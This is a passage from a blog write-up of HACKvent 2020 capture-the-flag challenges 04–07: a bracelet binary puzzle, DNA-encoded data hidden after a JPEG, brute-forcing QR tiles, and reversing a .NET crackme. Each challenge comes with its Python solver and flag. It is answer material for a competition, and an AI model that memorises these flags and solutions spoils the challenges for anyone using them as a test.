id=\"04\">HV20.04 Br&#x2764;celet<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/04.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"easy\">Easy<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_fun.png\" width=\"20px\"\/> Fun<\/td><\/tr>\n<tr><td>Author:<\/td><td>brp64 (with help of his daughter)<\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nSanta was given a nice bracelet by one of his elves. Little does he know that the secret admirer has hidden a message in the pattern of the bracelet...\n\n<img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv04_01.jpg\" width=\"600px\"\/>\n\n<b>Hints<\/b>\n<ol>\n<li>No internet is required - only the bracelet<\/li>\n<li>The message is encoded in binary<\/li>\n<li>Violet color is the delimiter<\/li>\n<\/ol><\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>We start by creating a string, which represents the bracelet (<span class=\"hl\">G<\/span> = green, <span class=\"hl\">V<\/span> = violet, <span class=\"hl\">P<\/span> = purple, <span class=\"hl\">Y<\/span> = yellow, <span class=\"hl\">B<\/span> = blue):<\/p>\n\n\n\n<code>&gt;&gt;&gt; s = 'GVPYVGBVPGVGBVPGBYVGBYVGBVBYVBYVGBYVPYVBYVVGBYVGYVGYVBYVBYVGVGBVPGBVBYVGBYVBYVGV'\n<\/code>\n\n<p>By replacing the delimiter violet (<span class=\"hl\">V<\/span>) with a dot (<span class=\"hl\">.<\/span>) we can recognize the pattern more easily:<\/p>\n\n<code>&gt;&gt;&gt; s.replace('V','.')\n'G.PY.GB.PG.GB.PGBY.GBY.GB.BY.BY.GBY.PY.BY..GBY.GY.GY.BY.BY.G.GB.PGB.BY.GBY.BY.G.'\n<\/code>\n\n<p>Within each block all of the remaining colors (<span class=\"hl\">P<\/span>, <span class=\"hl\">G<\/span>, <span class=\"hl\">B<\/span>, <span class=\"hl\">Y<\/span>) only appear once. Also the order is always the same.<\/p>\n\n<p>In combination with the hint, that the message is encoded in binary, we can derive the following assumption: if a color is present within a block, the bit at the corresponding position is <span class=\"hl\">1<\/span>, otherwise it is <span class=\"hl\">0<\/span>. Here are a few examples:\n<pre>_G__ = 0100\nP__Y = 1001\n_GB_ = 0110\n...\n<\/pre>\n<\/p>\n\n<p>Using the following python script, we can decode the message:<\/p>\n\n<code>kali@kali:~\/hv20\/04$ cat solve.py \n#!\/usr\/bin\/env python3\n\ns = 'GVPYVGBVPGVGBVPGBYVGBYVGBVBYVBYVGBYVPYVBYVVGBYVGYVGYVBYVBYVGVGBVPGBVBYVGBYVBYVGV'\n\nr = ''\nfor c in s.split('V')[:-1]:\n  for x in 'PGBY': r += ('1' if x in c else '0')\n\nr = '%x'%int(r,2)\nflag = bytes.fromhex(r)\nprint(flag)\n<\/code>\n\n<p>Running the script yields the flag:<\/p>\n\n<code>kali@kali:~\/hv20\/04$ .\/solve.py \nb'Ilov3y0uS4n74'\n<\/code>\n\n\n<p>The flag is <span class=\"hl\">HV20{Ilov3y0uS4n74}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"05\">HV20.05 Image DNA<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/05.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"easy\">Easy<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_forensic.png\" width=\"20px\"\/> Forensic<\/td><\/tr>\n<tr><td>Author:<\/td><td>blaknyte0<\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nSanta has thousands of Christmas balls in stock. They all look the same, but he can still tell them apart. Can you see the difference?\n\n<table><tr>\n<td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv05_01.jpg\" width=\"250px\"\/><\/td>\n<td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv05_02.jpg\" width=\"250px\"\/><\/td>\n<\/tr><\/table><\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>At first I started to compare the pixels of both images (they are different). Though this was a rabbit hole.<\/p>\n\n<p>The important point is that both images contain additional data after the actual JPG (which ends with <span class=\"hl\">ff d9<\/span>):<\/p>\n\n\n<code>kali@kali:~\/hv20\/05$ hexdump -C img1.jpg                                                                                                                   \n00000000  ff d8 ff e0 00 10 4a 46  49 46 00 01 01 00 00 01  |......JFIF......|\n00000010  00 01 00 00 ff db 00 43  00 05 03 04 04 04 03 05  |.......C........|\n...\n000020e0  3f ff d9 43 54 47 54 43  47 43 47 41 47 43 47 47  |?..CTGTCGCGAGCGG|\n000020f0  41 54 41 43 41 54 54 43  41 41 41 43 41 41 54 43  |ATACATTCAAACAATC|\n00002100  43 54 47 47 47 54 41 43  41 41 41 47 41 41 54 41  |CTGGGTACAAAGAATA|\n00002110  41 41 41 43 43 54 47 47  47 43 41 41 54 41 41 54  |AAACCTGGGCAATAAT|\n00002120  54 43 41 43 43 43 41 41  41 43 41 41 47 47 41 41  |TCACCCAAACAAGGAA|\n00002130  41 47 54 41 47 43 47 41  41 41 41 41 47 54 54 43  |AGTAGCGAAAAAGTTC|\n00002140  43 41 47 41 47 47 43 43  41 41 41 0a              |CAGAGGCCAAA.|\n0000214c\n<\/code>\n\n<p>As can be seen above, the first image (<span class=\"hl\">img1.jpg<\/span>) contains a DNA string after the JPG image.<\/p>\n\n<p>The second image (<span class=\"hl\">img2.jpg<\/span>) does also contain an additional DNA string, but also a zip-archive (beginning with <span class=\"hl\">50 4b 03 04 ...<\/span>):<\/p>\n\n<code>kali@kali:~\/hv20\/05$ hexdump -C img2.jpg                                      \n00000000  ff d8 ff e0 00 10 4a 46  49 46 00 01 01 00 00 01  |......JFIF......|\n00000010  00 01 00 00 ff e2 02 a0  49 43 43 5f 50 52 4f 46  |........ICC_PROF|\n...\n000021a0  10 1d a0 5b 4a 3f f8 3f  ff d9 41 54 41 54 41 54  |...[J?.?..ATATAT|\n000021b0  41 41 41 43 43 41 47 54  54 41 41 54 43 41 41 54  |AAACCAGTTAATCAAT|\n000021c0  41 54 43 54 43 54 41 54  41 54 47 43 54 54 41 54  |ATCTCTATATGCTTAT|\n000021d0  41 54 47 54 43 54 43 47  54 43 43 47 54 43 54 41  |ATGTCTCGTCCGTCTA|\n000021e0  43 47 43 41 43 43 54 41  41 54 41 54 41 41 43 47  |CGCACCTAATATAACG|\n000021f0  54 43 43 41 54 47 43 47  54 43 41 43 43 43 43 54  |TCCATGCGTCACCCCT|\n00002200  41 47 41 43 54 41 41 54  54 41 43 43 54 43 41 54  |AGACTAATTACCTCAT|\n00002210  54 43 0a 50 4b 03 04 14  00 08 00 08 00 26 a8 6f  |TC.PK........&.o|\n00002220  51 00 00 00 00 00 00 00  00 03 00 00 00 01 00 20  |Q.............. |\n00002230  00 41 55 54 0d 00 07 08  89 b1 5f 37 ed bb 5f 31  |.AUT......_7.._1|\n00002240  e7 bb 5f 75 78 0b 00 01  04 e8 03 00 00 04 e8 03  |.._ux...........|\n00002250  00 00 33 30 e0 02 00 50  4b 07 08 6f e3 b9 e4 05  |..30...PK..o....|\n00002260  00 00 00 03 00 00 00 50  4b 01 02 14 03 14 00 08  |.......PK.......|\n00002270  00 08 00 26 a8 6f 51 6f  e3 b9 e4 05 00 00 00 03  |...&.oQo........|\n00002280  00 00 00 01 00 20 00 00  00 00 00 00 00 00 00 a4  |..... ..........|\n00002290  81 00 00 00 00 41 55 54  0d 00 07 08 89 b1 5f 37  |.....AUT......_7|\n000022a0  ed bb 5f 31 e7 bb 5f 75  78 0b 00 01 04 e8 03 00  |.._1.._ux.......|\n000022b0  00 04 e8 03 00 00 50 4b  05 06 00 00 00 00 01 00  |......PK........|\n000022c0  01 00 4f 00 00 00 54 00  00 00 00 00              |..O...T.....|\n000022cc\n<\/code>\n\n<p>We can extract the zip-archive and its contents e.g. using <span class=\"hl\">binwalk<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/05$ binwalk --extract img2.jpg \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             JPEG image data, JFIF standard 1.01\n8723          0x2213          Zip archive data, at least v2.0 to extract, uncompressed size: 3, name: A\n8886          0x22B6          End of Zip archive, footer length: 22\n\nkali@kali:~\/hv20\/05$ cd _img2.jpg.extracted\/\nkali@kali:~\/hv20\/05\/_img2.jpg.extracted$ ls -al\ntotal 16\ndrwxr-xr-x 2 kali kali 4096 Dec  5 03:01 .\ndrwxr-xr-x 4 kali kali 4096 Dec  5 03:01 ..\n-rw-r--r-- 1 kali kali  185 Dec  5 03:01 2213.zip\n-rw-r--r-- 1 kali kali    3 Nov 15 15:01 A<\/code>\n\n<p>There is only a single file called <span class=\"hl\">A<\/span> in the zip-archive. The content of the file is the string \"<span class=\"hl\">00<\/span>\":<\/p>\n\n<code>\nkali@kali:~\/hv20\/05\/_img2.jpg.extracted$ hexdump -C A\n00000000  30 30 0a                                          |00.|\n00000003\n<\/code>\n\n<p>This seems to be a hint on how to decode the DNA strings. The strings contain the letters <span class=\"hl\">A<\/span>, <span class=\"hl\">C<\/span>, <span class=\"hl\">G<\/span> and <span class=\"hl\">T<\/span>. Since this are four letters, we can assume that four subsequent letters represent 1 byte: <span class=\"hl\">4*4*4*4 = 256<\/span> (thus one letter representing two bits). Since <span class=\"hl\">A<\/span> is supposed to be represented as <span class=\"hl\">00<\/span>, we can follow the sequence in the alphabet and encode <span class=\"hl\">C<\/span> as <span class=\"hl\">01<\/span>, <span class=\"hl\">G<\/span> as <span class=\"hl\">10<\/span> and <span class=\"hl\">T<\/span> as <span class=\"hl\">11<\/span>.<\/p>\n\n<p>Using the following python script, we can decode the DNA strings accordingly:<\/p>\n\n<code>kali@kali:~\/hv20\/05$ cat decode_dna.py \n#!\/usr\/bin\/env python3\n\nimport sys\n\ndef get_byte(d):\n  d = d.replace('A','00')\n  d = d.replace('C','01')\n  d = d.replace('G','10')\n  d = d.replace('T','11')\n  return chr(int(d,2))\n\nct = open(sys.argv[1]).read().strip()\n\nfor i in range(0, len(ct), 4):\n  dna = ct[i:i+4]\n  x = get_byte(dna)\n  print(x, end='')\n<\/code>\n\n<p>After extracting both DNA strings, we can pass them to the script:<\/p>\n\n<code>kali@kali:~\/hv20\/05$ cat dna1.txt \nCTGTCGCGAGCGGATACATTCAAACAATCCTGGGTACAAAGAATAAAACCTGGGCAATAATTCACCCAAACAAGGAAAGTAGCGAAAAAGTTCCAGAGGCCAAA\nkali@kali:~\/hv20\/05$ cat dna2.txt \nATATATAAACCAGTTAATCAATATCTCTATATGCTTATATGTCTCGTCCGTCTACGCACCTAATATAACGTCCATGCGTCACCCCTAGACTAATTACCTCATTC\nkali@kali:~\/hv20\/05$ .\/decode_dna.py dna1.txt > dna1_decoded.txt\nkali@kali:~\/hv20\/05$ .\/decode_dna.py dna2.txt > dna2_decoded.txt<\/code>\n\n<p>Though the decoded data does not seem to make sense yet:<\/p>\n\n<code>kali@kali:~\/hv20\/05$ hexdump -C dna1_decoded.txt \n00000000  7b 66 26 c2 8c 4f 40 43  5e c2 ac 40 c2 83 00 5e  |{f&..O@C^..@...^|\n00000010  c2 a4 30 c3 b4 54 04 28  0b 26 00 2f 52 29 40     |..0..T.(.&.\/R)@|\n0000001f\nkali@kali:~\/hv20\/05$ hexdump -C dna2_decoded.txt \n00000000  33 30 14 c2 bc 34 33 77  33 c2 9f 33 c2 b7 6d 6d  |30...43w3..3..mm|\n00000010  c3 86 45 c3 83 30 6d 4e  6d 15 72 1c 3c 5d 3d     |..E..0mNm.r.<]=|\n0000001f\n<\/code>\n\n<p>Since we have to combine both decoded outputs somehow, let's try the first thing that comes into mind - <span class=\"hl\">XOR<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/05$ cat x0r.py \n#!\/usr\/bin\/env python3\n\ndna1 = open('dna1_decoded.txt').read()\ndna2 = open('dna2_decoded.txt').read()\n\nout = ''\nfor i in range(len(dna1)):\n  out += chr(ord(dna1[i])^ord(dna2[i]))\n\nprint(out)\n<\/code>\n\n<p>Running the script actually yields the flag:<\/p>\n\n<code>kali@kali:~\/hv20\/05$ .\/x0r.py \nHV20{s4m3s4m3bu7diff3r3nt}\n<\/code>\n\n<p>The flag is <span class=\"hl\">HV20{s4m3s4m3bu7diff3r3nt}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"06\">HV20.06 Twelve steps of christmas<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/06.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"medium\">Medium<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_fun.png\" width=\"20px\"\/> Fun<\/td><\/tr>\n<tr><td>Author:<\/td><td><a href=\"https:\/\/twitter.com\/nonsxd\" rel=\"noopener noreferrer\" target=\"_blank\">Bread<\/a><\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nOn the sixth day of Christmas my true love sent to me...\n\nsix valid QRs,\nfive potential scrambles,\nfour orientation bottom and right,\nand the rest has been said previously.\n\n<img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv06_01.png\" width=\"600px\"\/>\n\n<span class=\"fake_link\">PDF version<\/span>\n<span class=\"fake_link\">Source image<\/span> (open with <span class=\"fake_link\">pixlr.com<\/span>)\n\n\n<b>Requirements<\/b>\n\na printer\n\n\n<b>Hints<\/b>\n\n- selbmarcs\n- The black lines are important - do not remove them\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>Since handcrafting is not part of my most distinctive skills, I decided to take a bruteforcing approach: generate all permutation of possible QR codes and try to decode them.<\/p>\n\n<p>In order to do this, the first step is to cut all single tiles from the provided image. Once again this could have been done in a more handcrafting-style (e.g. GIMP), but I preferred python.<\/p>\n\n<p>The image contains an alpha-channel, which will be a problem when trying to decode the QR code later on, so we will remove the alpha-channel. In order to determine the actual position of the single tiles I simply used trial-and-adjust.<\/p>\n\n<p>The resulting python script looks like this:<\/p>\n\n\n<code>kali@kali:~\/hv20\/06$ cat cut0r.py \n#!\/usr\/bin\/env python3\n\nfrom PIL import Image\n\nimg_orig = Image.open('cube.png')\nimg = Image.new('RGB', img_orig.size, (255,255,255))\nimg.paste(img_orig, mask=img_orig.split()[3])\n\ns=87\n\nx=61;y=231;img.crop((x, y, x+s, y+s)).save('01.png')\nx+=100;img.crop((x, y, x+s, y+s)).save('02.png')\nx+=s+1;img.crop((x, y, x+s, y+s)).save('03.png')\nx+=100;img.crop((x, y, x+s, y+s)).save('04.png')\nx+=s+1;img.crop((x, y, x+s, y+s)).save('05.png')\nx+=100;img.crop((x, y, x+s, y+s)).save('06.png')\nx+=s+1;img.crop((x, y, x+s, y+s)).save('07.png')\nx+=100;img.crop((x, y, x+s, y+s)).save('08.png')\n\nx=61;y=231+100;img.crop((x, y, x+s, y+s)).save('09.png')\nx+=100;img.crop((x, y, x+s, y+s)).save('10.png')\nx+=s+1;img.crop((x, y, x+s, y+s)).save('11.png')\nx+=100;img.crop((x, y, x+s, y+s)).save('12.png')\nx+=s+1;img.crop((x, y, x+s, y+s)).save('13.png')\nx+=100;img.crop((x, y, x+s, y+s)).save('14.png')\nx+=s+1;img.crop((x, y, x+s, y+s)).save('15.png')\nx+=100;img.crop((x, y, x+s, y+s)).save('16.png')\n\nx=249;y=43;img.crop((x, y, x+s, y+s)).save('17.png')\nx+=100;img.crop((x, y, x+s, y+s)).save('18.png')\nx=249;y+=100;img.crop((x, y, x+s, y+s)).save('19.png')\nx+=100;img.crop((x, y, x+s, y+s)).save('20.png')\n\nx=249;y=419;img.crop((x, y, x+s, y+s)).save('21.png')\nx+=100;img.crop((x, y, x+s, y+s)).save('22.png')\nx=249;y+=100;img.crop((x, y, x+s, y+s)).save('23.png')\nx+=100;img.crop((x, y, x+s, y+s)).save('24.png')\n<\/code>\n\n\n<p>The script removes the alpha-channel and creates images from <span class=\"hl\">01.png<\/span> up to <span class=\"hl\">24.png<\/span> containing the single tiles:<\/p>\n\n<table><tr>\n<td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv06_02.png\"\/><\/td>\n<td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv06_03.png\"\/><\/td>\n<td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv06_04.png\"\/><\/td>\n<td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv06_05.png\"\/><\/td>\n<td> ... and so forth ...<\/td>\n<\/tr><\/table>\n\n<p>When cutting out these tiles, I ignored the black lines in the center. After combining four tiles to an entire QR code, I wondered why the dimension of the QR code was not valid (<span class=\"hl\">38x38<\/span>). Right at that moment another hint was released, that the black lines should not be removed (since there are actually part of the QR code). Thus I added them when combining the four tiles. Also we have to rotate the single tiles, since we do not know their orientation. There are four possible orientations for each tile (<span class=\"hl\">0&#176;<\/span>, <span class=\"hl\">90&#176;<\/span>, <span class=\"hl\">180&#176;<\/span> and <span class=\"hl\">270&#176;<\/span>).<\/p>\n\n<p>The following script loads all tile images, creates four rotated instances of the tile, iterates over all them for all four positions (<span class=\"hl\">top left<\/span>, <span class=\"hl\">top right<\/span>, <span class=\"hl\">bottom right<\/span> and <span class=\"hl\">bottom left<\/span>) creating a corresponding image and tries the decode the image as a QR code:<\/p>\n\n<code>kali@kali:~\/hv20\/06$ cat brut0r.py \n#!\/usr\/bin\/env python3\n\nfrom PIL import Image, ImageDraw\nimport qrtools\n\ndef combine(img1, img2, img3, img4):\n  s = 87\n  o = 15\n  out = Image.new('RGB', (s*2+60+o, s*2+60+o), (255,255,255))\n  d = ImageDraw.Draw(out)\n  d.rectangle([(30,30), (s*2+30+o,s*2+30+o)], fill='#000000')\n  out.paste(img1, (30,30))\n  out.paste(img2, (s+30+o,30))\n  out.paste(img3, (s+30+o,s+30+o))\n  out.paste(img4, (30,s+30+o))\n  return out\n\ndef rot(img, cur_rot):\n  r = [img]\n  for i in range(3):\n    r.append(img.rotate(-90*(i+1)))\n  if (cur_rot == 0): return r\n  elif (cur_rot == 1): return [r[3],r[0],r[1],r[2]]\n  elif (cur_rot == 2): return [r[2],r[3],r[0],r[1]]\n  elif (cur_rot == 3): return [r[1],r[2],r[3],r[0]]\n  \nimgs = []\nimgs.append(rot(Image.open('01.png'), 0))\nimgs.append(rot(Image.open('02.png'), 1))\nimgs.append(rot(Image.open('03.png'), 0))\nimgs.append(rot(Image.open('04.png'), 1))\nimgs.append(rot(Image.open('05.png'), 0))\nimgs.append(rot(Image.open('06.png'), 1))\nimgs.append(rot(Image.open('07.png'), 0))\nimgs.append(rot(Image.open('08.png'), 1))\nimgs.append(rot(Image.open('09.png'), 3))\nimgs.append(rot(Image.open('10.png'), 2))\nimgs.append(rot(Image.open('11.png'), 3))\nimgs.append(rot(Image.open('12.png'), 2))                                                                                                                  \nimgs.append(rot(Image.open('13.png'), 3))                                                                                                                  \nimgs.append(rot(Image.open('14.png'), 2))                                                                                                                  \nimgs.append(rot(Image.open('15.png'), 3))                                                                                                                  \nimgs.append(rot(Image.open('16.png'), 2))\nimgs.append(rot(Image.open('17.png'), 0))\nimgs.append(rot(Image.open('18.png'), 1))\nimgs.append(rot(Image.open('19.png'), 3))\nimgs.append(rot(Image.open('20.png'), 2))\nimgs.append(rot(Image.open('21.png'), 0))\nimgs.append(rot(Image.open('22.png'), 1))\nimgs.append(rot(Image.open('23.png'), 3))\nimgs.append(rot(Image.open('24.png'), 2))\n\nsmall = [1,2,9,14,15,19]\n\nqr = qrtools.QR()\n\nfor i0 in range(24):\n  if (i0 in small): continue\n  for i1 in range(24):\n    if (i1 in small): continue\n    if (i1 == i0): continue\n    for i2 in range(24):\n      if (i2 not in small): continue\n      if (i2 in [i0,i1]): continue\n      for i3 in range(24):\n        if (i3 in small): continue\n        if (i3 in [i0,i1,i2]): continue\n        combine(imgs[i0][0], imgs[i1][1], imgs[i2][2], imgs[i3][3]).save('comb.png')\n        if (qr.decode('comb.png')): print(qr.data)\n<\/code>\n\n<p>Surely it is not the most efficient way, but it works. When loading each tile image, the three additional rotated instances of the tile are created (providing the initial rotation to the <span class=\"hl\">rot<\/span> function). There is a check in each loop in order to prevent a tile from being used more than once. Also the small tiles (tiles, which contain the small quadrat) are only allowed at the bottom right position.<\/p>\n\n<p>Running the script yields a substring for each of the six valid QR codes:<\/p>\n\n<code>kali@kali:~\/hv20\/06$ .\/brut0r.py \nHV20{Erno_                                                      \nRubik_would                                                     \n#HV20QRubicsChal}                                               \n_be_proud.                                                      \nPetrus_is                                                       \n_Valid.<\/code>\n\n<p>The last thing to do is to concatenate the substrings in a way that results in a meaningful flag:<\/p>\n\n<p>The flag is <span class=\"hl\">HV20{Erno_Rubik_would_be_proud.Petrus_is_Valid.#HV20QRubicsChal}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"07\">HV20.07 Bad morals<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/07.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"medium\">Medium<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_rev.png\" width=\"20px\"\/> Reverse Engineering<br\/><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_prog.png\" width=\"20px\"\/> Programming<\/td><\/tr>\n<tr><td>Author:<\/td><td>kuyaya<\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nOne of the elves recently took a programming 101 course. Trying to be helpful, he implemented a program for Santa to generate all the flags for him for this year's HACKvent 2020. The problem is, he can't remember how to use the program any more and the link to the documentation just says <span class=\"hl\">404 Not found<\/span>. I bet he learned that in the Programming 101 class as well.\n\nCan you help him get the flag back?\n\n<span class=\"fake_link\">BadMorals.exe<\/span>\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>The challenge provides the file <span class=\"hl\">BadMorals.exe<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/07$ file BadMorals.exe \nBadMorals.exe: PE32 executable (console) Intel 80386 Mono\/.Net assembly, for MS Windows\n<\/code>\n\n<p>Since it seems to be a <span class=\"hl\">.NET<\/span> assembly, we can use <a href=\"https:\/\/github.com\/dnSpy\/dnSpy\" rel=\"noopener noreferrer\" target=\"_blank\">dnSpy<\/a> on a Windows machine in order to decompile it.<\/p>\n\n<p>The program is quite simple: it reads three inputs one after another and compares them to an expected value. If the input matches, a base64-encoded string based on the input is constructed, which contains the flag. At last a <span class=\"hl\">SHA1<\/span> checksum is used in order to validate the flag. If this check is also passed, the flag is displayed.<\/p>\n\n<p>Let's have a look at the first input:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv07_01.png\" width=\"800px\"\/><\/p>\n\n<p>The user input is stored in <span class=\"hl\">array<\/span>. Within the <span class=\"hl\">for<\/span> loop each second character of <span class=\"hl\">array<\/span> is appended to the variable <span class=\"hl\">text<\/span>. After this <span class=\"hl\">text<\/span> is compared to the static string <span class=\"hl\">BumBumWithTheTumTum<\/span>.<\/p>\n\n<p>This means our input must look like this: <span class=\"hl\">.B.u.m.B.u.m.W.i.t.h.T.h.e.T.u.m.T.u.m<\/span><\/p>\n\n<p>Though this is not sufficient. When we take a look at the concatenation of the base64 string after the validation of <span class=\"hl\">text<\/span>, we can see that the base64 string also depends on the characters at index <span class=\"hl\">8<\/span> and <span class=\"hl\">14<\/span> of our input. With the input string above these characters are <span class=\"hl\">.<\/span> (dots). Debugging the program in dnSpy can surely clarify things here.<\/p>\n\n<p>In order to determine a valid value for both of these characters, we can test different values by constructing the base64 string and decode it. The result is supposed to be the beginning of the flag. For the character at index <span class=\"hl\">8<\/span> the method <span class=\"hl\">GetHashCode()<\/span> is called and the return value is calculated <span class=\"hl\">modulo 10<\/span>. Testing different values in the debugger reveals that for a single character <span class=\"hl\">GetHashCode()<\/span> returns <span class=\"hl\">ord(c)&lt;&lt;24|ord(c)<\/span>, for example: <span class=\"hl\">'a'<\/span> = <span class=\"hl\">0x61000061<\/span>. This means that we have to find an input character, which makes sense in the base64 string after being calculated as follow: <span class=\"hl\">(ord(c)&lt;&lt;|ord(c)) % 10<\/span>. The resulting value is used as a string, which means that the only possible values are the digits from <span class=\"hl\">0<\/span> to <span class=\"hl\">9<\/span>. We can start by determining, which digits seem reasonable:<\/p>\n\n\n<code>kali@kali:~\/hv20\/07$ cat test_b64.py \n#!\/usr\/bin\/env python3\n\nimport string\nfrom base64 import b64decode\n\nfor d in string.digits:\n  s = \"SFYyMHtyMz\"+d+\"zcnMzXzNuZzFuMzNyMW5nX2==\"\n  try:\n    r = b64decode(s)\n    print('d = ' + d)\n    print(r)\n  except: pass\n<\/code>\n\n<p>The script iterates over all ten digits and outputs the corresponding result:<\/p>\n\n<code>kali@kali:~\/hv20\/07$ .\/test_b64.py \nd = 0                          \nb'HV20{r3=3rs3_3ng1n33r1ng_'   \nd = 1                          \nb'HV20{r3=srs3_3ng1n33r1ng_'   \nd = 2                          \nb'HV20{r3=\\xb3rs3_3ng1n33r1ng_'\nd = 3                          \nb'HV20{r3=\\xf3rs3_3ng1n33r1ng_'\nd = 4                          \nb'HV20{r3>3rs3_3ng1n33r1ng_'\nd = 5                          \nb'HV20{r3>srs3_3ng1n33r1ng_'\nd = 6                          \nb'HV20{r3>\\xb3rs3_3ng1n33r1ng_'\nd = 7                          \nb'HV20{r3>\\xf3rs3_3ng1n33r1ng_'\nd = 8                          \nb'HV20{r3?3rs3_3ng1n33r1ng_'\nd = 9                          \nb'HV20{r3?srs3_3ng1n33r1ng_'\n<\/code>\n\n<p>The only inputs, which seem to result in a reasonable output are <span class=\"hl\">0<\/span> = <span class=\"hl\">HV20{r3=3r...<\/span>, <span class=\"hl\">4<\/span> = <span class=\"hl\">HV20{r3>3r...<\/span> and <span class=\"hl\">8<\/span> = <span class=\"hl\">HV20{r3?3...<\/span>. So let's determine three different input characters, which result in those values and try them out later. Since there is a final validation using a <span class=\"hl\">SHA1<\/span> checksum at the end, we can simply test these values and see if the final check is passed:<\/p>\n\n<code>#!\/usr\/bin\/env python3\n\nimport string\n\nfor c in string.ascii_lowercase+string.ascii_uppercase+string.digits:\n  v = (ord(c)&lt;&lt;24|ord(c)) % 10\n  if (v in [0,4,8]): print(str(v)+':'+c)\n<\/code>\n\n<p>Running the script yields possible inputs (we only need to test once per number later):<\/p>\n\n<code>kali@kali:~\/hv20\/07$ .\/hashc0de.py \n0:d\n4:f\n8:h\n0:n\n4:p\n8:r\n0:x\n4:z\n0:F\n4:H\n8:J\n0:P\n4:R\n8:T\n0:Z\n0:2\n4:4\n8:6\n<\/code>\n\n<p>In a smiliar fashion we can test different values for the character at index <span class=\"hl\">14<\/span>:<\/p>\n\n<code>...\nfor c in string.ascii_lowercase+string.ascii_uppercase+string.digits:\n  s = \"SFYyMHtyMz0zcnMzXzNuZzFuMzNyMW5n\"+c+\"2==\"\n  try:\n    r = b64decode(s)\n    print('c = ' + c)\n    print(r)\n  except: pass\n<\/code>\n\n<p>The only resulting output, which seems to be valid contrains a trailing <span class=\"hl\">_<\/span> (underscore), which is produced by the input letter <span class=\"hl\">X<\/span>:<\/p>\n\n<code>...\nc = U\nb'HV20{r3=3rs3_3ng1n33r1ngS'\nc = V\nb'HV20{r3=3rs3_3ng1n33r1ngW'\nc = W\nb'HV20{r3=3rs3_3ng1n33r1ng['\nc = X\nb'HV20{r3=3rs3_3ng1n33r1ng_'\nc = Y\nb'HV20{r3=3rs3_3ng1n33r1ngc'\nc = Z\nb'HV20{r3=3rs3_3ng1n33r1ngg'\n<\/code>\n\n<p>Accordingly we will later test these three inputs:<br\/>\n<span class=\"hl\">.B.u.m.Bdu.m.WXi.t.h.T.h.e.T.u.m.T.u.m<\/span><br\/>\n<span class=\"hl\">.B.u.m.Bfu.m.WXi.t.h.T.h.e.T.u.m.T.u.m<\/span><br\/>\n<span class=\"hl\">.B.u.m.Bhu.m.WXi.t.h.T.h.e.T.u.m.T.u.m<\/span>\n<\/p>\n\n\n<p>At next let's have a look at the second input:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv07_02.png\" width=\"800px\"\/><\/p>\n\n<p>This is quite simple. Our input is reversed and compared to the static string <span class=\"hl\">BackAndForth<\/span>. Accordingly our input must be <span class=\"hl\">htroFdnAkcaB<\/span>.<\/p>\n\n<p>Finally the third 